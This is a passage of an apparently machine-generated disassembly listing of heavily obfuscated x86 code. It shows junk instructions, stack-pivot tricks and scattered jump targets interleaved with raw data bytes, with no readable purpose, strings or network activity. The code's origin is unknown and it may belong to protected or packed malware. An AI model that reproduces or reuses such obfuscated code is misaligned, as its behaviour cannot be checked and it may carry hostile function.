		dd 6926B951h, 40E92A26h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5554CB:				; CODE XREF: sub_542C3C+17826j
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_55DD2C
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0F06E36B8h, 0AF85BA0Fh, 0CE905F5h, 9Ah, 53072CD8h, 1326BE9h
		dd 4BF5700h, 0E9000000h, 19B0h,	9C2404FFh, 0FFE043E9h
		dd 0CFF66FFh, 39E99C24h, 8BFFFFE0h, 8B662424h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+9Ch+var_9C]
		pop	esp
		mov	[esp+98h+var_98], edx
		push	esp
		pop	edx
		push	ecx
		push	40Eh
		mov	[esp+0A0h+var_A2+2], edi
		jmp	loc_55F238
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0E930FF5Ch, 0FFFFE004h, 5C243487h, 0E9242489h, 131F9h
; ---------------------------------------------------------------------------

loc_555554:				; CODE XREF: sub_542C3C+24C12j
		sub	[esp+0A0h+var_A2+2], 360E1717h
		pop	edi
		add	edi, 360E1717h
		jmp	loc_55DCDC
; ---------------------------------------------------------------------------
		db 68h
		dd 315Ah, 0BD242C89h, 2E9C4FADh, 515DEB01h, 0CD44CFB9h
		dd 5795E938h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555582:				; CODE XREF: sub_542C3C+1F9C0j
		push	edx
		mov	edx, 533C7209h
		or	edi, edx
		pop	edx
		add	edi, 0FEEB8122h
		sub	eax, 53E81EBCh
		sub	eax, edi
		jmp	loc_5654AE
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 0E9520000h, 919Eh
; ---------------------------------------------------------------------------

loc_5555AC:				; CODE XREF: sub_542C3C+19106j
		sub	edx, edi
		mov	edi, [esp+9Ch+var_9C]
		add	esp, 4
		jmp	loc_564EE2
; ---------------------------------------------------------------------------

loc_5555B9:				; CODE XREF: sub_542C3C+14CAEj
		mov	edi, 64385800h
		sub	edi, 8247C3E4h
		xor	eax, edi
		mov	edi, [esp+98h+var_98]
		add	esp, 4
		xor	ebx, eax
		push	[esp+94h+var_94]
		jmp	loc_562978
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 8Eh
		db 2, 1, 0
; ---------------------------------------------------------------------------

loc_5555DF:				; CODE XREF: sub_542C3C+16EE5j
		pop	esi
		pop	edx
		sub	esp, 4
		mov	[esp+94h+var_94], eax
		push	5BFF6114h
		pop	eax
		sub	edi, eax
		pop	eax
		push	7047h
		mov	[esp+94h+var_94], edi
		xor	[esp+94h+var_94], 70183038h
		jmp	loc_556DDA
; ---------------------------------------------------------------------------
aSv		db ')ØéV´',0
		db 0
; ---------------------------------------------------------------------------

loc_55560B:				; CODE XREF: sub_542C3C+1F621j
		pop	edi
		jmp	loc_55BD47
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 24h
		dd 24048124h, 4, 0E92434FFh, 556Ah
; ---------------------------------------------------------------------------

loc_555624:				; CODE XREF: sub_542C3C+1A886j
		xor	esi, [esp+90h+var_90]
		xor	[esp+90h+var_90], esi
		xor	esi, [esp+90h+var_90]
		mov	esp, [esp+90h+var_90]
		movzx	ax, byte ptr [eax]
		push	small 3DD1h
		mov	word ptr [esp+92h+var_94+2], ax
		jmp	loc_55354C
; ---------------------------------------------------------------------------

loc_555641:				; CODE XREF: sub_542C3C+22B19j
		push	eax
		push	[esp+96h+var_94+2]
		jmp	loc_555B8E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0C483240Ch, 24048F04h, 5E24248Bh,	0FFDEEBE9h
		dd 41C181FFh, 2DB7C278h, 1CBE501Eh, 1E05C801h, 0E91CBE50h
		dd 12112h, 4725BE56h, 0CDE90AB0h, 410000B3h, 0F73AE9h
		dd 58C72900h, 0EC83EF01h, 0D0D7E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555696:				; CODE XREF: sub_542C3C+1833Bj
		sub	al, 92h
		sub	bl, al
		mov	eax, [esp+9Ah+var_9C+2]
		add	esp, 4
		push	[esp+96h+var_98+2]
		pop	eax
		add	esp, 4
		jmp	loc_559CB9
; ---------------------------------------------------------------------------
		db 52h
		dd 0B2B713B2h, 885AD728h, 0E2805BFAh, 53B5E9D5h, 68530000h
		dd 5C8E4722h, 5BD9895Bh, 3A0CC181h, 0BF574092h,	443A0761h
		dd 0B536EF81h, 0F92921E2h, 248AE9h
		db 0
; ---------------------------------------------------------------------------

loc_5556E5:				; CODE XREF: sub_542C3C+21077j
		sub	al, 0F9h
		mov	cl, al
		pop	eax
		push	ebx
		mov	bh, 84h
		xor	bh, 37h
		jmp	loc_564FBA
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 120A4E9h, 0C3285A00h, 2F0FE9h, 40500h, 4050000h, 0E9000000h
		dd 900Ch, 6624248Bh, 68240C8Bh,	22DEh, 54241489h, 5A2434FFh
		dd 8104C483h, 4C2h, 55BE5600h, 0E97D441Fh, 1199Ch, 0C581C501h
		dd 0A611D0h, 0CD42E9h, 4EC8300h, 0BF243C89h, 2,	34FFFA01h
		dd 1AFBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55575E:				; CODE XREF: sub_542C3C+117C5j
		mov	edx, 7A354F60h
		shl	edx, 4
		or	edx, 3E384287h
		add	edx, 500D4B56h
		neg	edx
		jmp	loc_5545AD
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 4BE565Ch, 1000000h, 0EB815EF3h, 4, 8788E9h
		db 0
; ---------------------------------------------------------------------------

loc_555791:				; CODE XREF: sub_542C3C+12D3Bj
		sub	[esp+94h+var_90], 37D4F20h
		add	[esp+94h+var_90], eax
		add	[esp+94h+var_90], 37D4F20h
		pop	eax
		mov	ebx, [esp+90h+var_90]
		jmp	loc_55DE5F
; ---------------------------------------------------------------------------
		dw 43B8h
		dd 0E92FF848h, 0FFFFDF88h, 415EF101h, 4214E9h, 2ADF6800h
		dd 0C890000h, 135AE924h, 0DD010000h, 4ED815Bh, 33000000h
		dd 2C31242Ch, 242C3324h, 8924248Bh, 61E92404h, 0BFFFFFDDh
		dd 0A88B1AB3h, 15BDF01h, 0C995E9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5557FA:				; CODE XREF: sub_542C3C+2443Ej
		add	esp, 4
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 25AB593Dh
		add	edx, 5AB7110Dh
		sub	edx, 80626A46h
		jmp	loc_556328
; ---------------------------------------------------------------------------

loc_55581A:				; CODE XREF: sub_542C3C+12729j
		push	edi
		jmp	loc_55983C
; ---------------------------------------------------------------------------
		dd 1C8BD989h, 4C48124h,	81000000h, 936F93C9h, 9BBE561Eh
		dd 295FD36Fh, 0ED815EF1h, 6F094FACh, 0BE56CD01h, 780938E3h
		dd 7E9DEF7h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55584F:				; CODE XREF: sub_542C3C+23EBFj
		sub	ebp, 6729342Bh
		add	ebp, edi
		add	ebp, 6729342Bh
		pop	edi
		sub	ebp, 4
		xor	ebp, [esp+0AEh+var_AE]
		xor	[esp+0AEh+var_AE], ebp
		xor	ebp, [esp+0AEh+var_AE]
		pop	esp
		mov	[esp+0AAh+var_AA], edx
		mov	edx, 2ED52E69h
		jmp	loc_561329
; ---------------------------------------------------------------------------
		dd 59CA895Ah, 34FFD329h, 0C4815A24h, 4,	9C05E9h, 57C80100h
		dd 785816BFh, 6EFC17Eh,	0F781DFF7h, 51466166h, 1277DE9h
		dd 4EC8300h, 481EE9h, 2474FF00h, 48F5D04h, 34895C24h, 81E68924h
		dd 4C6h, 4EE8100h, 33000000h, 34312434h, 24343324h, 2404895Ch
		dd 149E0B8h, 0EC814069h, 4, 0D15DE9h, 0E9E58900h, 10A00h
		dd 0DD0F740h, 69AC7669h, 3FC8CF35h, 0E9C5218Dh,	0BAEBh
; ---------------------------------------------------------------------------

loc_555900:				; CODE XREF: sub_542C3C+2318Fj
		mov	esp, [esp+0AAh+var_AA]
		mov	[esp+0AAh+var_AA], edi
		push	0D85h
		mov	[esp+0AEh+var_AE], eax
		push	edx
		push	2F803902h
		pop	edx
		xor	edx, 4DA72F53h
		add	edx, 0B9CE5F5Ah
		mov	eax, edx
		push	[esp+0B2h+var_B2]
		pop	edx
		add	esp, 4
		jmp	loc_56748C
; ---------------------------------------------------------------------------

loc_555932:				; CODE XREF: sub_542C3C+16780j
		sub	edx, 42C07C47h
		sub	edx, 23606A9Fh
		sub	edx, ebx
		jmp	loc_554AFE
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 0EEh
		dd 81448903h, 0D75134EFh, 0E9FB29D1h, 689Eh, 158C601h
		dd 757AE9EEh, 0A9BB0000h, 8101F178h, 0A23291E3h, 0E93CE94Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555972:				; CODE XREF: sub_542C3C+12536j
		mov	eax, 4
		jmp	loc_555791
; ---------------------------------------------------------------------------

loc_55597C:				; CODE XREF: sub_542C3C+2502Bj
		sub	ebx, 233F5165h
		jmp	loc_560BE1
; ---------------------------------------------------------------------------

loc_555987:				; CODE XREF: sub_542C3C+22C5Bj
		pop	ebx
		shl	edx, 5
		jmp	loc_5597DB
; ---------------------------------------------------------------------------

loc_555990:				; CODE XREF: sub_542C3C+1D951j
		push	1FCBh
		jmp	loc_56038F
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 822293C1h, 0D1C18125h, 29A3EF03h, 0EF58E9C8h, 515CFFFFh
		dd 0A015CAB9h, 3E1C11Ah, 0C107E9C1h, 0E1C103E1h, 0FCE98107h
		dd 1A8056Fh, 240C8BCFh,	0E904C483h, 0A204h, 5D2434FFh
		dd 0E9E78957h, 0FFFFEE3Dh, 30E9C801h, 8300001Eh, 248904ECh
		dd 0B301E924h, 0F7470000h, 0DEF81D7h, 0E905C5A5h, 12984h
		dd 1C8BDD89h, 0C630E924h, 99350000h, 0E9C143D0h, 0BD75h
		dd 3D0FBF57h, 0A4E951A4h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555A1F:				; CODE XREF: sub_542C3C+1A028j
		shl	ebx, 4
		not	ebx
		jmp	loc_5582AB
; ---------------------------------------------------------------------------

loc_555A29:				; CODE XREF: sub_542C3C+2180Fj
		sub	esp, 4
		mov	[esp+0AAh+var_AA], esp
		add	[esp+0AAh+var_AA], 4
		jmp	loc_561A52
; ---------------------------------------------------------------------------

loc_555A3E:				; CODE XREF: sub_542C3C+21A11j
		mov	ecx, esp
		push	ebp
		mov	ebp, 6595769Fh
		dec	ebp
		jmp	loc_555211
; ---------------------------------------------------------------------------

loc_555A4C:				; CODE XREF: sub_542C3C+13489j
		pop	esi
		push	edi
		push	[esp+0AEh+var_AA]
		jmp	loc_567948
; ---------------------------------------------------------------------------

loc_555A57:				; CODE XREF: sub_542C3C+15EF6j
		add	esi, ebx
		pop	ebx
		inc	esi
		sub	esi, 0FFFFFFFFh
		and	esi, 6CF16BABh
		sub	esi, 0F424608h
		xor	esi, 0F6C6894h
		xor	ebx, esi
		pop	esi
		push	4A9Dh
		mov	[esp+0AEh+var_AE], esi
		mov	esi, 405F3EABh
		xor	ebx, esi
		pop	esi
		and	eax, ebx
		push	[esp+0AAh+var_AA]
		mov	ebx, [esp+0AEh+var_AE]
		add	esp, 4
		jmp	loc_55B95A
; ---------------------------------------------------------------------------

loc_555A96:				; CODE XREF: sub_542C3C+15FF4j
		push	ebx
		mov	ebx, 216C2158h
		jmp	loc_55D1C2
; ---------------------------------------------------------------------------
		db 1, 5Ch, 24h
		dd 246C8108h, 0AD57CB08h, 44815B2Fh, 58310424h,	742958F2h
		dd 0E9530424h, 0D157h, 5724048Fh, 4BFh,	247C0100h, 243C8B04h
		dd 7955E9h, 4BF00h, 0E9810000h,	294A47F9h, 222C181h, 0FEE922FAh
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_555AEB:				; CODE XREF: sub_542C3C+24EBBj
		push	edx
		sub	esp, 4
		mov	[esp+0B6h+var_B6], ebx
		mov	ebx, 734E1F59h
		mov	edx, 734E1F58h
		add	edx, 2156166Bh
		sub	edx, ebx
		jmp	loc_560CA4
; ---------------------------------------------------------------------------

loc_555B09:				; CODE XREF: sub_542C3C+1F45Aj
		push	ecx
		mov	ecx, 4772985h
		xor	esi, ecx
		mov	ecx, [esp+0BAh+var_BA]
		add	esp, 4
		jmp	loc_554CCA
; ---------------------------------------------------------------------------

loc_555B1C:				; CODE XREF: sub_542C3C+1C435j
		push	ebx
		mov	ebx, 1F8611F4h
		dec	ebx
		push	ecx
		jmp	loc_560CC3
; ---------------------------------------------------------------------------

loc_555B29:				; CODE XREF: sub_542C3C+1B04Ej
		add	esi, edx
		mov	edx, [esp+0BEh+var_BE]
		add	esp, 4
		xchg	esi, [esp+0BAh+var_BA]
		mov	esp, [esp+0BAh+var_BA]
		push	7827h
		jmp	loc_55777A
; ---------------------------------------------------------------------------
		dd 8F7630BBh, 26E3813Fh, 0C1426D6Fh, 0B85003E3h, 76C032F4h
		dd 0DD89E9h, 4C18100h, 83000000h, 0BE902E9h, 51000008h
		dd 57ED68h, 24248900h, 123DAE9h, 240C8900h, 41D5E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555B82:				; CODE XREF: sub_542C3C+1BD94j
		pop	eax
		and	edx, 485D0DD6h
		jmp	loc_56034C
; ---------------------------------------------------------------------------

loc_555B8E:				; CODE XREF: sub_542C3C+12A0Aj
		pop	eax
		pop	[esp+96h+var_98+2]
		pop	esi
		jmp	loc_5625BE
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0F178h, 0BB53D5F7h, 44B00975h, 1C8BDD29h
		dd 4C48124h, 81000000h,	0E0704BEDh, 95E94534h, 870000CAh
		dd 575D2414h, 243C8B55h, 8B04C483h, 0C481242Ch,	4, 0E6C1FE87h
		dd 19EEE907h, 0EC830000h, 0C6CE904h, 0F7810000h, 7D44FAB1h
		dd 0A8E9F931h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555BF3:				; CODE XREF: sub_542C3C+1AAC0j
		xor	ecx, [esp+8Eh+var_90+2]
		jmp	loc_55C3D2
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 243C8700h, 4BE565Ch, 1000000h,	2C875EF5h, 50E95C24h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555C17:				; CODE XREF: sub_542C3C+1140Ej
		push	esp
		pop	ecx
		push	eax
		mov	eax, 1786079Dh
		xor	eax, 0C0A3790h
		jmp	loc_55924C
; ---------------------------------------------------------------------------
		db 0F7h, 14h, 24h
		dd 1AD6E9h, 59CE3100h, 135AE9h,	7E9A6800h, 1C890000h, 0E9555224h
		dd 0F52Eh, 0F3814B5Fh, 0E33022Ch, 4F49F381h, 0D8017258h
		dd 81241C8Bh, 4C4h, 57D0E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555C66:				; CODE XREF: sub_542C3C+10E42j
		sub	edx, 1
		push	eax
		push	edi
		jmp	loc_558097
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 8BF03100h, 9CE92434h
		db 22h,	1, 0
; ---------------------------------------------------------------------------

loc_555C83:				; CODE XREF: sub_542C3C+16AD8j
		mov	esi, esp
		jmp	loc_5676B2
; ---------------------------------------------------------------------------
aFUS		db 'FÁî',8,'é¸Û',0
		dw 500h
aIXszs		db 'ˆ/xSZéÞ!',0
		align 2
aYfqhj		db 'YfQh¦>',0
		align 2
		dw 1C89h
		dd 0FE49B724h, 1EF80C7h, 51E9C7FEh, 100009Ah, 242C8BEBh
		dd 8904C483h, 2434FFDDh, 1672E9h, 7DE95C00h, 0B9FFFFD8h
		dd 560F2255h, 1E981h, 0F1810000h, 33C8180Bh, 2143E981h
		dd 0E981767Bh, 0EF4C1918h, 29E9CA89h, 590000C0h, 7DE9E909h
		db 0C6h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_555CFB:				; CODE XREF: sub_542C3C+1BF40j
		pop	edx
		sub	esp, 4
		mov	[esp+44h+var_44], eax
		jmp	loc_560BD5
; ---------------------------------------------------------------------------

loc_555D07:				; CODE XREF: sub_542C3C+10FF8j
		push	eax
		pop	ebx
		jmp	loc_56366E
; ---------------------------------------------------------------------------
aZ4S		db ']‡4$\é',0Dh,'Ê',0
		align 4
		dd 0E942D2F7h, 0D41Dh
; ---------------------------------------------------------------------------

loc_555D20:				; CODE XREF: sub_542C3C+209CDj
		or	eax, 716C2078h
		jmp	loc_5648FD
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0BC682404h, 0E900003Ah, 9B89h, 298ECA81h, 0B5E9534Ah
		dd 0BB000081h, 6AFC0FFDh, 0E95BD909h, 0DF9Ah, 93B0E95Ah
		dd 51660000h, 0D7EEE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555D5E:				; CODE XREF: sub_542C3C+21525j
		mov	eax, 530514Dh
		jmp	loc_565C3F
; ---------------------------------------------------------------------------
		dd 8104C483h, 5720FBC6h, 81C60170h, 5720FBEEh, 36C96870h
		dd 1C890000h, 6461BB24h, 0CB81749Fh, 6ADD04F3h,	6803E3C1h
		dd 0
		dd 8B241C29h, 39E9241Ch, 0C1000092h, 0F28107EAh, 39F15E03h
		dd 34CAE9h, 66D02800h, 4368665Ah, 0C896633h, 0A8B1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555DBE:				; CODE XREF: sub_542C3C+18D70j
		sub	ecx, 4
		xchg	ecx, [esp+50h+var_50]
		pop	esp
		mov	[esp+4Ch+var_4C], ebx
		jmp	loc_55B8CC
; ---------------------------------------------------------------------------
		db 0BDh, 0E5h, 36h
		dd 0EB311E08h, 5BD9015Dh, 0E9B95156h, 0C135D427h, 0E98102E9h
		dd 0D7509F6h, 0C8BCE89h, 0E0895024h, 405h, 4C08300h, 12208E9h
		dd 24148900h, 4EBD5551h, 89455238h, 242C8BE9h, 236E9h
		dd 243C8900h, 0BEC4E951h, 89530000h, 4BE56E3h, 81000000h
		dd 0F56A70EBh, 0E9F3011Ch, 0E6BEh
; ---------------------------------------------------------------------------

loc_555E30:				; CODE XREF: sub_542C3C+1D81Bj
		xor	ecx, 0D7C6A84Ch
		jmp	loc_55BEE2
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4CDD6C70h, 815BDD89h, 0FFFFFFC5h, 0FBBA52FFh, 4257794Eh
		dd 14A9C281h, 0CA8153C1h, 7CB0632Ah, 0C281DAF7h, 7A30796h
		dd 295AD501h, 242C8BEEh, 4C481h, 148B0000h, 4C48124h, 0E9000000h
		dd 10C66h, 8B5FFD29h, 0CBE9240Ch, 0AC0000F0h, 4EC81h, 14890000h
		dd 7FE95124h, 81000031h, 4C4h, 4C48300h, 15EF789h, 2434FFFDh
		dd 0FFF264E9h, 58C201FFh, 4C281h, 14870000h, 0EE95C24h
		dd 5B000128h, 2AE9D5F7h, 0B80000CEh, 15C01CA6h,	632DC535h
		dd 14F75048h, 260D5824h, 0C175CB40h, 0F02D04E8h, 31F845A9h
		dd 24048BC2h, 8104C483h, 0E03FDFCAh, 0B6EA812Ch, 56066878h
		dd 1E1C68h, 242C8900h, 0C52D44BDh, 0E9895124h, 8B59CE89h
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+50h+var_50]
		pop	esp
		neg	esi
		jmp	loc_5542E7
; ---------------------------------------------------------------------------

loc_555F29:				; CODE XREF: sub_542C3C+25B6Dj
		mov	ecx, 0F86AFED8h
		add	esi, 46E11FFBh
		sub	esi, ecx
		sub	esi, 46E11FFBh
		pop	ecx
		jmp	loc_55CA1A
; ---------------------------------------------------------------------------

loc_555F42:				; CODE XREF: sub_542C3C+22D7Ej
		push	esi
		mov	esi, ebx
		push	esi
		push	7121h
		jmp	loc_55FF47
; ---------------------------------------------------------------------------

loc_555F50:				; CODE XREF: sub_542C3C+1424Dj
		add	[esp+54h+var_50], 18DF0354h
		add	[esp+54h+var_50], ecx
		push	ebx
		mov	ebx, 18DF0354h
		sub	[esp+58h+var_50], 4DED3A04h
		sub	[esp+58h+var_50], ebx
		push	esi
		mov	esi, 4DED3A04h
		add	[esp+5Ch+var_50], esi
		pop	esi
		push	[esp+58h+var_58]
		pop	ebx
		add	esp, 4
		pop	ecx
		mov	ebx, [esp+50h+var_50]
		add	esp, 4
		jmp	loc_565A11
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0F704C483h, 0D57E9D5h
		db 1, 0
; ---------------------------------------------------------------------------

loc_555F9A:				; CODE XREF: sub_542C3C+112A4j
		sub	ebx, ecx
		jmp	loc_566D58
; ---------------------------------------------------------------------------

loc_555FA1:				; CODE XREF: sub_542C3C+125C7j
		sub	edi, 4
		xchg	edi, [esp+0A6h+var_A6]
		pop	esp
		mov	[esp+0A2h+var_A2], edx
		jmp	loc_5574ED
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFD594h, 405h, 4C08300h, 5C240487h, 7EA068h, 243C8900h
		dd 0FFFB04E9h, 0C4835AFFh, 240C3304h, 0E9240C31h, 0FFFFF46Ah
		dd 515968BEh, 81DEF742h, 0AEA694EEh, 5EF201BDh,	8B241487h
		dd 0F9882424h, 81241C8Bh, 4C4h,	874C8800h, 2434FF01h, 4167E959h
		dd 875B0000h, 895C2434h, 4682414h, 5A000000h, 658EE9h
		db 0
; ---------------------------------------------------------------------------

loc_556021:				; CODE XREF: sub_542C3C+19B88j
		add	ebx, ebp
		pop	ebp
		push	707Eh
		mov	[esp+0A2h+var_A2], esi
		jmp	loc_562AA2
; ---------------------------------------------------------------------------
		db 68h,	91h, 18h
		dd 4890000h, 1F056824h,	935806D8h, 0C5E9934Bh, 810000C1h
		dd 4C4h, 81D9F700h, 316416F1h, 440DE967h, 0F660000h, 5166C8B6h
		dd 0D4E6E99Ch, 0F281FFFFh, 9D7B10CAh, 15AD331h,	241C8BDEh
		dd 285E9h, 0B2525A00h, 4944E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556082:				; CODE XREF: sub_542C3C+1A0F4j
		sub	esp, 4
		mov	[esp+0A6h+var_A6], edx
		push	ebx
		mov	ebx, 0F59ABE7Ch
		mov	edx, ebx
		pop	ebx
		xor	ebp, edx
		jmp	loc_55E13E
; ---------------------------------------------------------------------------
		dd 4C481h, 0CFFE0000h, 8017F780h, 0FE88D1C7h, 0E98F2C5Bh
		dd 10F5Ch, 66C568h, 124EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5560BA:				; CODE XREF: sub_542C3C+23F7Bj
		add	edi, eax
		pop	eax
		push	esi
		mov	esi, 4
		sub	edi, esi
		jmp	loc_555A4C
; ---------------------------------------------------------------------------
aDSsv		db '\„Èœéé‚',0
		dw 8700h
		dd 0E95C2414h, 0AEFDh, 0FFFFC681h, 0E94EFFFFh, 40Bh, 81D10158h
		dd 5D316FE9h, 2434FF2Fh, 0FFFED8E9h, 4BFFFh, 0F8010000h
		dd 0E9243C8Bh, 0FFFFEABEh, 241C8966h, 515097B3h, 0CC88D988h
		dd 4E4E9h, 4C58100h, 87000000h,	248B242Ch, 74FF5024h, 0D8E90424h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55612F:				; CODE XREF: sub_542C3C+1F2E2j
		pop	ebp
		xor	edx, 250F2065h
		jmp	loc_55B9F3
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 0E1B6h
; ---------------------------------------------------------------------------

loc_556144:				; CODE XREF: sub_542C3C+1C40Fj
		xor	edi, 299210CEh
		push	eax
		push	edx
		mov	edx, 7B0F7CB6h
		xor	edx, 4C95BC6h
		mov	eax, edx
		pop	edx
		jmp	loc_562547
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC83243Ch, 24048904h, 405E089h, 83000000h, 48704C0h
		dd 0FEE95C24h
		db 0B6h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55617B:				; CODE XREF: sub_542C3C+1F564j
		shl	ah, 3
		push	eax
		not	byte ptr [esp+0AAh+var_AA+1]
		pop	eax
		inc	ah
		xor	ah, 0DAh
		add	cl, ah
		jmp	loc_565288
; ---------------------------------------------------------------------------
		dd 4C5815Dh, 50000000h,	67CDB951h, 0E1C17294h, 21BF5706h
		dd 0C17D5D1Ah, 0C78102EFh, 85C2ACB4h, 895FF929h, 0C50159C8h
		dd 242C3358h, 0F4CCE9h,	4C48300h, 31243433h, 34332434h
		dd 0E11EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5561D2:				; CODE XREF: sub_542C3C+17508j
		mov	eax, 5C9F6D85h
		mov	ebp, 21DCA57Eh
		add	ebp, eax
		pop	eax
		jmp	loc_5602A9
; ---------------------------------------------------------------------------

loc_5561E4:				; CODE XREF: sub_542C3C+24109j
		add	ebp, esi
		pop	esi
		not	ebp
		add	ebp, 6F4F5E18h
		sub	esp, 4
		mov	[esp+0A2h+var_A2], ecx
		mov	ecx, 0F823C915h
		add	ebp, ecx
		pop	ecx
		jmp	loc_55949A
; ---------------------------------------------------------------------------
		db 89h,	0EBh, 0E9h
		dd 7903h, 48BE788h, 4C48124h, 51000000h, 0C5FEC2B5h, 0E904E5C0h
		dd 0B9F4h, 4DCBE952h, 0C1810000h, 56644863h, 7C01E981h
		dd 0D9014349h, 7C01C181h, 0E9814349h, 56644863h, 68C2E981h
		dd 0D8E94395h, 660000AFh, 0E47FED81h, 0E9EF2166h, 0FFFFE92Eh
; ---------------------------------------------------------------------------

loc_55625C:				; CODE XREF: sub_542C3C+24025j
		mov	ebp, 2B69663Bh
		sub	edi, ebp
		pop	ebp
		dec	edi
		inc	edi
		xor	edi, 2D943426h
		add	edi, 0EE657814h
		add	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp+9Ah+var_9C+2], ebp
		push	763Ah
		mov	[esp], eax
		push	474A738Fh
		pop	eax
		xor	eax, 7D72718Bh
		sub	esp, 4
		mov	[esp+0A2h+var_A2], edi
		mov	edi, 3AF348E9h
		add	eax, 4A04342h
		push	esi
		mov	esi, 1B862192h
		or	esi, 76D174AFh
		not	esi
		inc	esi
		sub	esi, 73417663h
		sub	eax, esi
		jmp	loc_566AD3
; ---------------------------------------------------------------------------

loc_5562C0:				; CODE XREF: sub_542C3C+1D385j
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp+0A6h+var_A6]
		pop	esp
		push	1362h
		mov	[esp+0A6h+var_A6], eax
		jmp	loc_55AD31
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 83000000h, 348702C6h, 13E9E924h
		db 1, 0
; ---------------------------------------------------------------------------

loc_5562EE:				; CODE XREF: sub_542C3C+24DE6j
		sub	al, 0A3h
		jmp	loc_55C9FD
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aSo		db '$éŽÙ',0
		align 2
		dw 0C483h
		dd 0E7895704h, 4C781h, 0EF810000h, 4, 5C243C87h, 0FFE771E9h
		dd 0E9515AFFh, 6BD7h
; ---------------------------------------------------------------------------

loc_556320:				; CODE XREF: sub_542C3C+1E963j
		pop	ecx
		xor	dh, ch
		jmp	loc_559934
; ---------------------------------------------------------------------------

loc_556328:				; CODE XREF: sub_542C3C+12BD9j
		add	eax, edx
		pop	edx
		jmp	loc_559BDD
; ---------------------------------------------------------------------------
		dd 4C481h, 0C1810000h, 1999578Ch, 7668D129h, 0E9000068h
		dd 65D4h, 8B241C87h, 0EB812424h, 653E1C26h, 11A9CE9h, 24048B00h
		dd 3304C483h, 0C31240Ch, 240C3324h, 0D3BCE9h, 5C686600h
		dd 0FC16E971h, 0C870000h, 24248B24h, 241C8966h,	2474FF66h
		dd 1C8B6602h, 5D545524h, 4C581h, 0CDE90000h, 8100003Ch
		dd 42404h, 815B0000h, 4C3h, 61CE6800h, 34890000h, 2BE24h
		dd 0EB810000h, 5C464891h, 4183E9h, 0E9D5F700h, 9F32h, 4C481h
		dd 0C2810000h, 4, 8EB4E9h, 0BBD5500h, 0B80B273Eh, 2CEDD8B6h
		dd 0F75DE801h, 2C9305D8h, 7DE932A9h, 0BA000029h, 75317BEh
		dd 4202E2C1h, 42C8E9h, 0C6835800h, 24348704h, 8B24248Bh
		dd 0C483240Ch, 0EC97E904h, 8F5A0000h, 8F5C2404h, 66E92404h
		dd 0B4000099h, 58E200C7h, 0EB1BE9h, 1C896600h, 0FFE95024h
		dd 0E900010Fh, 0FFFFD114h, 5C241C87h, 0FA17E9h,	238BF00h
		dd 51523639h, 58674468h, 0E941592Ah, 8339h, 5966EE28h
		dd 0DFB05053h, 0C788A834h, 0B6EE8058h, 44EE80h,	44C680FEh
		dd 0E9B6C680h, 0FA5Eh, 4C381h, 20E90000h
		db 93h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55647F:				; CODE XREF: sub_542C3C+21FB9j
		add	eax, 310AF300h
		sub	ecx, 29CB4212h
		add	ecx, eax
		add	ecx, 29CB4212h
		mov	eax, [esp+90h+var_90]
		add	esp, 4
		mov	[edx+38h], ecx
		mov	ecx, [esp+8Ch+var_8C]
		add	esp, 4
		push	ecx
		push	esi
		push	eax
		mov	eax, 61624FABh
		mov	esi, eax
		pop	eax
		jmp	loc_557F34
; ---------------------------------------------------------------------------

loc_5564B7:				; CODE XREF: sub_542C3C+15CC5j
		mov	eax, [esp+90h+var_90]
		add	esp, 4
		add	esp, 4
		jmp	loc_560577
